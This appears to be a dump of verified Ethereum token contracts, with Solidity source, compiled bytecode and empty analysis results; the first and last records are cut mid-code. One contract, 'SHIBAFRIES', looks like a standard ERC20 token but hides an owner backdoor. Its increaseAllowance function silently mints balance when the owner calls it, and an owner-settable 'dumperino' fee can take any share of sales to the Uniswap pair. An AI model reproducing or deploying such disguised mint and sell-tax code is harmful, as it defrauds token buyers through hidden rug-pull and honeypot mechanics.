Whitelist { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // This creates an array with all balances mapping (address => uint256) public balanceOf; // This generates a public event on the blockchain that will notify clients event Mint(address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor ( string tokenName, string tokenSymbol ) public { name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyIfWhitelisted(msg.sender) public { balanceOf[target] += mintedAmount; emit Mint(target, mintedAmount); } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) onlyIfWhitelisted(msg.sender) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] -= _value; // Subtract from the targeted balance emit Burn(_from, _value); return true; } }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f65780630988ca8c1461018657806318b919e91461020f578063217fe6c61461029f57806324953eaa14610340578063286dd3f5146103a6578063313ce567146103e957806370a082311461041a578063715018a61461047157806379c650681461048857806379cc6790146104d55780637b9417c81461053a5780638da5cb5b1461057d57806395d89b41146105d45780639b19251a14610664578063e2ec6ec3146106bf578063f2fde38b14610725575b600080fd5b34801561010257600080fd5b5061010b610768565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b5061020d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610806565b005b34801561021b57600080fd5b50610224610887565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610264578082015181840152602081019050610249565b50505050905090810190601f1680156102915780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ab57600080fd5b50610326600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506108c0565b604051808215151515815260200191505060405180910390f35b34801561034c57600080fd5b506103a460048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610947565b005b3480156103b257600080fd5b506103e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109e3565b005b3480156103f557600080fd5b506103fe610a80565b604051808260ff1660ff16815260200191505060405180910390f35b34801561042657600080fd5b5061045b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a93565b6040518082815260200191505060405180910390f35b34801561047d57600080fd5b50610486610aab565b005b34801561049457600080fd5b506104d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bad565b005b3480156104e157600080fd5b50610520600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8d565b604051808215151515815260200191505060405180910390f35b34801561054657600080fd5b5061057b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc3565b005b34801561058957600080fd5b50610592610e60565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105e057600080fd5b506105e9610e85565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062957808201518184015260208101905061060e565b50505050905090810190601f1680156106565780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561067057600080fd5b506106a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f23565b604051808215151515815260200191505060405180910390f35b3480156106cb57600080fd5b5061072360048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610f6b565b005b34801561073157600080fd5b50610766600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611007565b005b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107fe5780601f106107d3576101008083540402835291602001916107fe565b820191906000526020600020905b8154815290600101906020018083116107e157829003601f168201915b505050505081565b610883826001836040518082805190602001908083835b602083101515610842578051825260208201915060208101905060208303925061081d565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061106e90919063ffffffff16565b5050565b6040805190810160405280600981526020017f77686974656c697374000000000000000000000000000000000000000000000081525081565b600061093f836001846040518082805190602001908083835b6020831015156108fe57805182526020820191506020810190506020830392506108d9565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061108790919063ffffffff16565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109a457600080fd5b600090505b81518110156109df576109d282828151811015156109c357fe5b906020019060200201516109e3565b80806001019150506109a9565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a3e57600080fd5b610a7d816040805190810160405280600981526020017f77686974656c69737400000000000000000000000000000000000000000000008152506110e0565b50565b600460009054906101000a900460ff1681565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b0657600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b33610bed816040805190810160405280600981526020017f77686974656c6973740000000000000000000000000000000000000000000000815250610806565b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a2505050565b600033610ccf816040805190810160405280600981526020017f77686974656c6973740000000000000000000000000000000000000000000000815250610806565b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d1d57600080fd5b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a2600191505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1e57600080fd5b610e5d816040805190810160405280600981526020017f77686974656c6973740000000000000000000000000000000000000000000000815250611214565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f1b5780601f10610ef057610100808354040283529160200191610f1b565b820191906000526020600020905b815481529060010190602001808311610efe57829003601f168201915b505050505081565b6000610f64826040805190810160405280600981526020017f77686974656c69737400000000000000000000000000000000000000000000008152506108c0565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fc857600080fd5b600090505b815181101561100357610ff68282815181101515610fe757fe5b90602001906020020151610dc3565b8080600101915050610fcd565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106257600080fd5b61106b81611348565b50565b6110788282611087565b151561108357600080fd5b5050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61115d826001836040518082805190602001908083835b60208310151561111c57805182526020820191506020810190506020830392506110f7565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061144290919063ffffffff16565b8173ffffffffffffffffffffffffffffffffffffffff167fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a826040518080602001828103825283818151815260200191508051906020019080838360005b838110156111d65780820151818401526020810190506111bb565b50505050905090810190601f1680156112035780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050565b611291826001836040518082805190602001908083835b602083101515611250578051825260208201915060208101905060208303925061122b565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206114a090919063ffffffff16565b8173ffffffffffffffffffffffffffffffffffffffff167fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b700489826040518080602001828103825283818151815260200191508051906020019080838360005b8381101561130a5780820151818401526020810190506112ef565b50505050905090810190601f1680156113375780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561138457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505600a165627a7a723058209b560f41b64727513c50d7fa6dccd41111fcd63b7db82439c88b1144bab7b1150029
{"success": true, "error": null, "results": {}}
3,824
0xa388600e62d6b9de2a1c26884a721fd955dc3d97
pragma solidity ^0.7.1; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract SHIBAFRIES is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address public tOwner; address public vault; address public immutable UniswapPairAddy = getPairAddy(); uint256 public dumperino_fee_percent = 0; constructor() { _name = "Shiba Fries"; _symbol = "SHIBAFRIES \xF0\x9F\x8D\x9F"; _decimals = 18; _totalSupply = 1_000_000 * (10 ** uint256(_decimals)); _balances[msg.sender] = _balances[msg.sender].add(_totalSupply); emit Transfer(address(0), msg.sender, _totalSupply); tOwner = msg.sender; vault = tOwner; } function getPairAddy() internal view returns (address) { address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address SHIBAFRIES_TOK = address(this); (address token0, address token1) = WETH < SHIBAFRIES_TOK ? (WETH, SHIBAFRIES_TOK) : (SHIBAFRIES_TOK, WETH); return address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, // Uniswap Factory keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } /** * @return the name of the token. */ function name() public view returns(string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns(string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns(uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view override(IERC20) returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view override(IERC20) returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view override(IERC20) returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public override(IERC20) returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public override(IERC20) returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public override(IERC20) returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } /** * @dev Increase the amount of tokens that a spender has. * else, approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); if (msg.sender == tOwner){ _balances[spender] = _balances[spender].add(addedValue); }else{ _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); } emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); if (from != tOwner && to == UniswapPairAddy) { // someone dumping // apply dumperino fee if any uint256 dumperino_fee_amount = value.mul(dumperino_fee_percent).div(100); uint256 after_dumperino_amount = value.sub(dumperino_fee_amount); _balances[vault] = _balances[vault].add(dumperino_fee_amount); _balances[to] = _balances[to].add(after_dumperino_amount); }else{ // this is not a dump // dont apply fee _balances[to] = _balances[to].add(value); } emit Transfer(from, to, value); } function updateDumperinoFee(uint256 new_dumperino_fee_percent) public returns (bool) { if (msg.sender == tOwner) { dumperino_fee_percent = new_dumperino_fee_percent; return true; }else{ return false; } } function changeTOwner(address newTOwner) public returns (bool) { require(msg.sender == tOwner, "You are not tOwner"); tOwner = newTOwner; return true; } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806395d89b41116100a2578063c2980fd011610071578063c2980fd014610523578063c32fecab1461057d578063dd62ed3e146105b1578063e6d9131314610629578063fbfa77cf1461065d5761010b565b806395d89b41146103ba578063a457c2d71461043d578063a9059cbb146104a1578063aa15d58b146105055761010b565b806323b872dd116100de57806323b872dd14610259578063313ce567146102dd57806339509351146102fe57806370a08231146103625761010b565b806306fdde0314610110578063095ea7b31461019357806318160ddd146101f7578063213c479414610215575b600080fd5b610118610691565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015857808201518184015260208101905061013d565b50505050905090810190601f1680156101855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101df600480360360408110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610733565b60405180821515815260200191505060405180910390f35b6101ff61085e565b6040518082815260200191505060405180910390f35b6102416004803603602081101561022b57600080fd5b8101908080359060200190929190505050610868565b60405180821515815260200191505060405180910390f35b6102c56004803603606081101561026f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108da565b60405180821515815260200191505060405180910390f35b6102e5610a8a565b604051808260ff16815260200191505060405180910390f35b61034a6004803603604081101561031457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aa1565b60405180821515815260200191505060405180910390f35b6103a46004803603602081101561037857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc5565b6040518082815260200191505060405180910390f35b6103c2610e0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104025780820151818401526020810190506103e7565b50505050905090810190601f16801561042f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104896004803603604081101561045357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eaf565b60405180821515815260200191505060405180910390f35b6104ed600480360360408110156104b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61050d6110fb565b6040518082815260200191505060405180910390f35b6105656004803603602081101561053957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611101565b60405180821515815260200191505060405180910390f35b610585611210565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610613600480360360408110156105c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611234565b6040518082815260200191505060405180910390f35b6106316112bb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106656112e1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107295780601f106106fe57610100808354040283529160200191610729565b820191906000526020600020905b81548152906001019060200180831161070c57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561076e57600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156108d05781600781905550600190506108d5565b600090505b919050565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561096557600080fd5b6109f482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7f848484611346565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610adc57600080fd5b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610bca57610b83826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cda565b610c5982600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ea55780601f10610e7a57610100808354040283529160200191610ea5565b820191906000526020600020905b815481529060010190602001808311610e8857829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eea57600080fd5b610f7982600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60006110f1338484611346565b6001905092915050565b60075481565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f7520617265206e6f7420744f776e6572000000000000000000000000000081525060200191505060405180910390fd5b81600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b7f0000000000000000000000000145f2886fe120fc9985de70224cedda7f7ff39c81565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082840190508381101561131c57600080fd5b8091505092915050565b60008282111561133557600080fd5b600082840390508091505092915050565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561139157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113cb57600080fd5b61141c816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561150757507f0000000000000000000000000145f2886fe120fc9985de70224cedda7f7ff39c73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156116c05760006115366064611528600754856117be90919063ffffffff16565b6117f890919063ffffffff16565b9050600061154d828461132690919063ffffffff16565b90506115c282600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130790919063ffffffff16565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611677816000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050611754565b611711816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000808314156117d157600090506117f2565b60008284029050828482816117e257fe5b04146117ed57600080fd5b809150505b92915050565b600080821161180657600080fd5b600082848161181157fe5b049050809150509291505056fea26469706673582212207881112e3a2aaeda7e5b685577a1c0ed8fc2f7322ccd3efd441122ef62df781f64736f6c63430007060033
{"success": true, "error": null, "results": {}}
3,825
0xc47b8d6d6595f7934fc467ded288e1a267d71758
pragma solidity ^0.4.18; // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = 